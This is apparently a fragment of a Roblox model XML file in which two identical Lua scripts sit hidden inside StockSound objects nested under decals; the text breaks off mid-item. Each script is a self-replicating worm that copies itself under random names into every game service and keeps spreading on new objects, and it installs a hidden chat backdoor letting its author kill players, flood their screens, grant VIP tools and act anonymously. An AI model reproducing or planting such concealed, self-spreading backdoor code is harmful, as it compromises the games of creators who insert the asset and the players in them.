				<Item class="Script" referent="RBX760">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX761">
				<Properties>
					<token name="Face">0</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=7746419</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX762">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">yk3n91hgn</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX763">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">uh8gn</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX764">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=7746419</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX765">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ehb11</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
